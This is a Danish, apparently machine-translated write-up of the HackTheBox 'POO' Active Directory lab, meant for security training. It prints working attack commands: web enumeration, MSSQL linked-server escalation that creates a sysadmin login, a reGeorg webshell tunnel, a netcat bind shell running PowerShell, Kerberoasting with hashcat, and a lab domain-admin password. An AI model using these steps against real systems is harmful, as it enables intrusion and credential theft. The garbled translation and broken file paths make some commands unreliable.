HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

I denne artikel vil vi analysere passagen af ​​ikke bare en maskine, men et helt mini-laboratorium fra stedet HackTheBox.

Som angivet i beskrivelsen er POO designet til at teste færdigheder på alle stadier af angreb i et lille Active Directory-miljø. Målet er at kompromittere en tilgængelig vært, eskalere privilegier og til sidst kompromittere hele domænet ved at indsamle 5 flag i processen.

Forbindelsen til laboratoriet sker via VPN. Det anbefales ikke at oprette forbindelse fra en fungerende computer eller fra en vært, hvor der er vigtige data for dig, da du kommer ind i et privat netværk med folk, der ved noget om informationssikkerhed 🙂

organisatoriske oplysninger
For at du kan finde ud af om nye artikler, software og anden information, har jeg oprettet Telegram kanal и gruppe for at diskutere eventuelle problemer i IIKB-området. Også dine personlige ønsker, spørgsmål, forslag og anbefalinger Jeg vil tage et kig og svare til alle..

Alle oplysninger gives kun til uddannelsesformål. Forfatteren af ​​dette dokument påtager sig intet ansvar for skader forårsaget af nogen som følge af brugen af ​​den viden og de metoder, der er opnået som et resultat af at studere dette dokument.

Intro

Dette slutspil består af to maskiner og indeholder 5 flag.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Beskrivelsen og adressen på den tilgængelige vært er også angivet.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Lad os komme igang!

Recon flag

Denne maskine har en IP-adresse på 10.13.38.11, som jeg tilføjer til /etc/hosts.
10.13.38.11 poo.htb

Det første trin er at scanne åbne porte. Da det tager lang tid at scanne alle porte med nmap, vil jeg først gøre det med masscan. Vi scanner alle TCP- og UDP-porte fra tun0-grænsefladen ved 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Nu, for at få mere detaljeret information om de tjenester, der kører på portene, lad os køre en scanning med -A-indstillingen.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Således har vi IIS- og MSSQL-tjenester. I dette tilfælde finder vi ud af det rigtige DNS-navn på domænet og computeren. På webserveren bliver vi mødt af IIS-hjemmesiden.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Lad os gentage mapperne. Jeg bruger gobuster til dette. I parametrene angiver vi antallet af streams 128 (-t), URL (-u), ordbog (-w) og udvidelser, der interesserer os (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Vi har således HTTP-godkendelse for /admin-mappen, såvel som .DS_Store desktop-tjenestelagringsfilen tilgængelig. .DS_Store er filer, der gemmer brugerindstillinger for en mappe, såsom en liste over filer, ikonplacering, valgt baggrundsbillede. En sådan fil kan ende i web-serverens bibliotek hos webudviklere. Således får vi information om indholdet af mappen. Til dette kan du bruge DS_Store-crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Vi får indholdet af mappen. Det mest interessante her er mappen /dev, hvorfra vi kan se kilderne og db-filerne i to grene. Men vi kan bruge de første 6 tegn i fil- og mappenavne, hvis tjenesten er sårbar over for IIS ShortName. Du kan tjekke for denne sårbarhed vha IIS shortname Scanner.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Og vi finder én tekstfil, der starter med "poo_co". Uden at vide, hvad jeg skulle gøre, valgte jeg simpelthen alle de ord, der begynder med "co", fra biblioteksordbogen.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Og gentag med wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Og find det rigtige ord! Vi ser på denne fil, gemmer legitimationsoplysningerne (at dømme efter DBNAME-parameteren er de fra MSSQL).

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Vi afleverer flaget, og vi går frem med 20 %.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Huh flag

Vi forbinder til MSSQL, jeg bruger DBeaver.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Vi finder ikke noget interessant i denne database, lad os oprette en SQL Editor og tjekke, hvad brugerne er.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Vi har to brugere. Lad os tjekke vores privilegier.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Der er således ingen privilegier. Lad os se de linkede servere, jeg skrev om denne teknik i detaljer her.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Så vi finder en anden SQL Server. Lad os kontrollere udførelsen af ​​kommandoer på denne server ved hjælp af openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Og vi kan endda bygge et forespørgselstræ.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Faktum er, at når vi laver en anmodning til en linket server, udføres anmodningen i sammenhæng med en anden bruger! Lad os se, hvilken brugerkontekst vi kører på den linkede server.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Og lad os nu se, i hvilken sammenhæng anmodningen fra den linkede server til vores udføres!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Det er således en DBO kontekst, der skal have alle privilegier. Lad os tjekke privilegierne i tilfælde af en anmodning fra en forbundet server.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Som du kan se, har vi alle privilegier! Lad os oprette vores admin sådan her. Men de slipper dem ikke igennem openquery, lad os gøre det gennem EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Og nu forbinder vi med den nye brugers legitimationsoplysninger, observer den nye flagdatabase.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Vi afleverer dette flag og går videre.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Backtrack flag

Lad os hente skallen ved hjælp af MSSQL, jeg bruger mssqlclient fra impacket-pakken.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Vi skal have adgangskoder, og det første, vi allerede har mødt, er siden. Derfor har vi brug for en webserverkonfiguration (det er umuligt at smide en praktisk shell, tilsyneladende virker firewallen).

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Men adgang nægtes. Selvom vi kan læse filen fra MSSQL, skal vi bare vide, hvilke programmeringssprog der er konfigureret. Og i MSSQL-biblioteket finder vi ud af, at der er Python.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Så er der ikke noget problem at læse web.config-filen.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Når legitimationsoplysningerne er fundet, skal du gå til /admin og hente flaget.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

fodfæste flag

Faktisk er der nogle gener ved at bruge en firewall, men ser vi netværksindstillingerne igennem, bemærker vi, at der også bruges IPv6-protokol!

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Tilføj denne adresse til /etc/hosts.
dead:babe::1001 poo6.htb
Lad os scanne værten igen, men denne gang over IPv6.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Og WinRM-tjenesten er tilgængelig over IPv6. Lad os forbinde med de fundne legitimationsoplysninger.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Der er et flag på skrivebordet, aflever det.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

P00ned flag

Efter rekognoscering på værten med vinærter vi finder ikke noget særligt. Så blev det besluttet at lede efter legitimationsoplysninger igen (jeg skrev også om dette emne en artikel). Men jeg kunne ikke få alle SPN'er fra systemet via WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Lad os udføre kommandoen via MSSQL.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

På denne måde får vi SPN for brugerne p00_hr og p00_adm, hvilket betyder, at de er sårbare over for et angreb såsom Kerberoasting. Kort sagt, vi kan få hashen af ​​deres adgangskoder.

Først skal du have en stabil shell på vegne af MSSQL-brugeren. Men da vi er begrænset i adgang, har vi kun forbindelse til værten via porte 80 og 1433. Men det er muligt at tunnelere trafik gennem havn 80! Til dette bruger vi næste ansøgning. Lad os uploade filen tunnel.aspx til hjemmebiblioteket på webserveren - C: inetpubwwwroot.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Men når vi forsøger at få adgang til det, får vi en fejl 404. Det betyder, at *.aspx-filer ikke udføres. For at få filer med disse udvidelser til at køre, skal du installere ASP.NET 4.5 som følger.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Og nu, når vi tilgår tunnel.aspx, får vi svaret, at alt er klar til at gå.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Lad os starte klientdelen af ​​applikationen, som vil videresende trafik. Vi videresender al trafik fra port 5432 til serveren.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Og vi bruger proxykæder til at sende trafikken til enhver applikation gennem vores proxy. Lad os tilføje denne proxy til /etc/proxychains.conf-konfigurationsfilen.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Lad os nu uploade programmet til serveren netcat, hvormed vi vil lave en stabil bind shell, og scriptet Påkald Kerberoast, som vi vil udføre Kerberoasting-angrebet med.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Nu, gennem MSSQL, starter vi lytteren.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Og vi forbinder via vores proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Og lad os få hashen.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Dernæst skal du gentage disse hashes. Da rockyou ikke havde en adgangskodedataordbog, brugte jeg ALLE adgangsordsordbøgerne i Seclists. Til opregning bruger vi hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Og vi finder begge adgangskoder, det første i dutch_passwordlist.txt ordbogen, og det andet i Keyboard-Combinations.txt.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Og så vi har tre brugere, vi går til domænecontrolleren. Lad os først finde hans adresse.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Fantastisk, vi har lært IP-adressen på domænecontrolleren. Lad os finde ud af alle brugere af domænet, samt hvem af dem der er administrator. For at downloade scriptet for at få information PowerView.ps1. Derefter forbinder vi ved hjælp af evil-winrm, og specificerer mappen med scriptet i parameteren -s. Og så skal du bare indlæse PowerView-scriptet.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Nu har vi adgang til alle dens funktioner. p00_adm-brugeren ligner en privilegeret bruger, så vi vil arbejde i dens kontekst. Lad os oprette et PSCredential-objekt til denne bruger.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nu vil alle Powershell-kommandoer, hvor vi angiver Creds, blive udført på vegne af p00_adm. Lad os vise en liste over brugere og AdminCount-attributten.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Så vores bruger er virkelig privilegeret. Lad os se, hvilke grupper han tilhører.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Vi bekræfter endelig, at brugeren er en domæneadministrator. Dette giver den ret til at eksternt logge på domænecontrolleren. Lad os prøve at logge ind med WinRM ved hjælp af vores tunnel. Jeg var forvirret over fejlene udstedt af reGeorg, da jeg brugte evil-winrm.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Så bruger vi en anden, nemmere, manuskript for at oprette forbindelse til WinRM. Åbn og skift forbindelsesparametre.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Vi forsøger at forbinde, og vi er i systemet.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Men der er ikke noget flag. Kig derefter på brugeren og tjek skrivebordene.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Hos mr3ks finder vi flaget og laboratoriet er 100% færdiggjort.

HackTheBoxendgame. Passage af laboratoriet Professionelle offensive operationer. Pentest Active Directory

Det er alt. Som feedback kan du kommentere på, om du har lært noget nyt af denne artikel, og om det var nyttigt for dig.

Du kan slutte dig til os kl Telegram. Der kan du finde interessante materialer, sammenlagte kurser samt software. Lad os samle et fællesskab, hvor der vil være mennesker, der forstår mange områder inden for IT, så kan vi altid hjælpe hinanden med eventuelle it- og informationssikkerhedsspørgsmål.

Kilde: www.habr.com

Tilføj en kommentar